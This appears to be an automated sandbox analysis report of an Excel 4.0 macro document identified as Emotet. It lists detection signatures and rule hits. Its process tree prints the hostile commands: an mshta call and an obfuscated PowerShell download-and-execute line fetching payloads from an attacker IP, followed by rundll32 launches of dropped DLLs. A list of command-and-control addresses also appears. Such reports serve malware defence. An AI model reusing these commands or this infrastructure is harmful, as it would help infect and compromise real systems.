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Windows
Analysis Report
DOCUMENT_2801.xls
Overview
General Information
Detection
Hidden Macro 4.0 Emotet
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
System process connects to network (likely due to code injection or exploit)
Antivirus detection for URL or domain
Found malicious Excel 4.0 Macro
Found malware configuration
Multi AV Scanner detection for submitted file
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Yara detected Emotet
Multi AV Scanner detection for domain / URL
Sigma detected: Windows Shell File Write to Suspicious Folder
Document contains OLE streams with names of living off the land binaries
Passes commands via pipe to a shell (likely to bypass AV or HIPS)
Powershell drops PE file
Sigma detected: MSHTA Spawning Windows Shell
Hides that the sample has been downloaded from the Internet (zone.identifier)
Document exploit detected (process start blacklist hit)
Sigma detected: Suspicious MSHTA Process Patterns
Sigma detected: Microsoft Office Product Spawning Windows Shell
Sigma detected: Suspicious PowerShell Command Line
Found Excel 4.0 Macro with suspicious formulas
Machine Learning detection for dropped file
Sigma detected: Mshta Spawning Windows Shell
C2 URLs / IPs found in malware configuration
Drops PE files to the application program directory (C:\ProgramData)
Contains functionality to query locales information (e.g. system language)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Detected potential crypto function
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to dynamically determine API calls
HTTP GET or POST without a user agent
Downloads executable code via HTTP
Document misses a certain OLE stream usually present in this Microsoft Office document type
Abnormal high CPU Usage
Found a hidden Excel 4.0 Macro sheet
Potential document exploit detected (unknown TCP traffic)
Searches for the Microsoft Outlook file path
Drops PE files
Contains functionality to read the PEB
Uses a known web browser user agent for HTTP communication
Drops PE files to the windows directory (C:\Windows)
Found large amount of non-executed APIs
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Contains functionality to delete services
Creates a process in suspended mode (likely to inject code)
Queries the volume information (name, serial number etc) of a device
Yara signature match
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Creates files inside the system directory
Internet Provider seen in connection with other malware
Contains functionality to query CPU information (cpuid)
Found potential string decryption / allocating functions
Potential document exploit detected (performs DNS queries)
Contains functionality which may be used to detect a debugger (GetProcessHeap)
IP address seen in connection with other malware
Enables debug privileges
PE file contains an invalid checksum
Yara detected Xls With Macro 4.0
Detected TCP or UDP traffic on non-standard ports
Connects to several IPs in different countries
Potential key logger detected (key state polling based)
Creates a window with clipboard capturing capabilities
Document contains embedded VBA macros
Potential document exploit detected (performs HTTP gets)
Classification
- System is w7x64
- EXCEL.EXE (PID: 684 cmdline:
"C:\Progra m Files\Mi crosoft Of fice\Offic e14\EXCEL. EXE" /auto mation -Em bedding MD5: D53B85E21886D2AF9815C377537BCAC3) - cmd.exe (PID: 572 cmdline:
cmd /c set ooo=mshta http://91 .240.118.1 72/ee/ss/s e.html & e cho %ooo% | cmd MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41) - cmd.exe (PID: 2668 cmdline:
C:\Windows \system32\ cmd.exe /S /D /c" ec ho %ooo% " MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41) - cmd.exe (PID: 2672 cmdline:
cmd MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41) - mshta.exe (PID: 2696 cmdline:
mshta http ://91.240. 118.172/ee /ss/se.htm l MD5: 95828D670CFD3B16EE188168E083C3C5) - powershell.exe (PID: 1708 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -noexit $c 1='({FutuR eD}{FutuRe D}Ne{FutuR eD}{FutuRe D}w{FutuRe D}-Obj{Fut uReD}ec{Fu tuReD}{Fut uReD}t N{F utuReD}{Fu tuReD}et{F utuReD}.W{ FutuReD}{F utuReD}e'. replace('{ FutuReD}', ''); $c4= 'bC{FutuRe D}li{FutuR eD}{FutuRe D}en{FutuR eD}{FutuRe D}t).D{Fut uReD}{Futu ReD}ow{Fut uReD}{Futu ReD}nl{Fut uReD}{Futu ReD}{FutuR eD}o'.repl ace('{Futu ReD}', '') ; $c3='ad{ FutuReD}{F utuReD}St{ FutuReD}ri n{FutuReD} {FutuReD}g {FutuReD}( ''ht{FutuR eD}tp{Futu ReD}://91. 240.118.17 2/ee/ss/se .png'')'.r eplace('{F utuReD}', '');$JI=($ c1,$c4,$c3 -Join '') ;I`E`X $JI |I`E`X MD5: 852D67A27E454BD389FA7F02A8CBE23F) - cmd.exe (PID: 1868 cmdline:
"C:\Window s\system32 \cmd.exe" /c C:\Wind ows\SysWow 64\rundll3 2.exe C:\P rogramData \Milossd.d ll KitKat MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41) - rundll32.exe (PID: 2844 cmdline:
C:\Windows \SysWow64\ rundll32.e xe C:\Prog ramData\Mi lossd.dll KitKat MD5: 51138BEEA3E2C21EC44D0932C71762A8) - rundll32.exe (PID: 1124 cmdline:
C:\Windows \SysWOW64\ rundll32.e xe "C:\Pro gramData\M ilossd.dll ",DllRegis terServer MD5: 51138BEEA3E2C21EC44D0932C71762A8) - rundll32.exe (PID: 344 cmdline:
C:\Windows \SysWOW64\ rundll32.e xe "C:\Win dows\SysWO W64\Hzcvqv i\kisyfwhh vxv.tpx",R IBFxhGufP MD5: 51138BEEA3E2C21EC44D0932C71762A8) - rundll32.exe (PID: 2816 cmdline:
C:\Windows \SysWOW64\ rundll32.e xe "C:\Win dows\SysWO W64\Hzcvqv i\kisyfwhh vxv.tpx",D llRegister Server MD5: 51138BEEA3E2C21EC44D0932C71762A8) - rundll32.exe (PID: 1532 cmdline:
C:\Windows \SysWOW64\ rundll32.e xe "C:\Win dows\SysWO W64\Gjesjo jdky\tneno lnsbc.zlf" ,RPzUMBQVQ iRJfbr MD5: 51138BEEA3E2C21EC44D0932C71762A8) - rundll32.exe (PID: 2904 cmdline:
C:\Windows \SysWOW64\ rundll32.e xe "C:\Win dows\SysWO W64\Gjesjo jdky\tneno lnsbc.zlf" ,DllRegist erServer MD5: 51138BEEA3E2C21EC44D0932C71762A8)
- cleanup
{"C2 list": ["74.207.230.120:8080", "139.196.72.155:8080", "37.44.244.177:8080", "37.59.209.141:8080", "116.124.128.206:8080", "217.182.143.207:443", "54.37.228.122:443", "203.153.216.46:443", "168.197.250.14:80", "207.148.81.119:8080", "195.154.146.35:443", "78.46.73.125:443", "191.252.103.16:80", "210.57.209.142:8080", "185.168.130.138:443", "142.4.219.173:8080", "118.98.72.86:443", "78.47.204.80:443", "159.69.237.188:443", "190.90.233.66:443", "104.131.62.48:8080", "62.171.178.147:8080", "185.148.168.15:8080", "54.38.242.185:443", "198.199.98.78:8080", "194.9.172.107:8080", "85.214.67.203:8080", "66.42.57.149:443", "185.148.168.220:8080", "103.41.204.169:8080", "128.199.192.135:8080", "195.77.239.39:8080", "59.148.253.194:443"], "Public Key": ["RUNTMSAAAAD0LxqDNhonUYwk8sqo7IWuUllRdUiUBnACc6romsQoe1YJD7wIe4AheqYofpZFucPDXCZ0z9i+ooUffqeoLZU0", "RUNLMSAAAADYNZPXY4tQxd/N4Wn5sTYAm5tUOxY2ol1ELrI4MNhHNi640vSLasjYTHpFRBoG+o84vtr7AJachCzOHjaAJFCW"]}
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
SUSP_Excel4Macro_AutoOpen | Detects Excel4 macro use with auto open / close | John Lambert @JohnLaTwC |
| |
JoeSecurity_XlsWithMacro4 | Yara detected Xls With Macro 4.0 | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
SUSP_Excel4Macro_AutoOpen | Detects Excel4 macro use with auto open / close | John Lambert @JohnLaTwC |
| |
JoeSecurity_XlsWithMacro4 | Yara detected Xls With Macro 4.0 | Joe Security | ||
JoeSecurity_Emotet_1 | Yara detected Emotet | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Emotet_1 | Yara detected Emotet | Joe Security | ||
JoeSecurity_Emotet_1 | Yara detected Emotet | Joe Security | ||
JoeSecurity_Emotet_1 | Yara detected Emotet | Joe Security | ||
JoeSecurity_Emotet_1 | Yara detected Emotet | Joe Security | ||
JoeSecurity_Emotet_1 | Yara detected Emotet | Joe Security | ||
Click to see the 65 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Emotet_1 | Yara detected Emotet | Joe Security | ||
JoeSecurity_Emotet_1 | Yara detected Emotet | Joe Security | ||
JoeSecurity_Emotet_1 | Yara detected Emotet | Joe Security | ||
JoeSecurity_Emotet_1 | Yara detected Emotet | Joe Security | ||
JoeSecurity_Emotet_1 | Yara detected Emotet | Joe Security | ||
Click to see the 97 entries |
System Summary |
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Source: | Author: Florian Roth: |
Source: | Author: Michael Haag: |
Source: | Author: Florian Roth: |
Source: | Author: Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team: |
Source: | Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton (fp): |
Source: | Author: Florian Roth: |
Source: | Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): |
Click to jump to signature section
Show All Signature Results
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Source: | Virustotal: | Perma Link |
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Source: | File opened: | Jump to behavior |
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Source: | Code function: | 11_2_10021854 | |
Source: | Code function: | 13_2_10021854 | |
Source: | Code function: | 17_2_0035BAEA |
Software Vulnerabilities |
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Networking |
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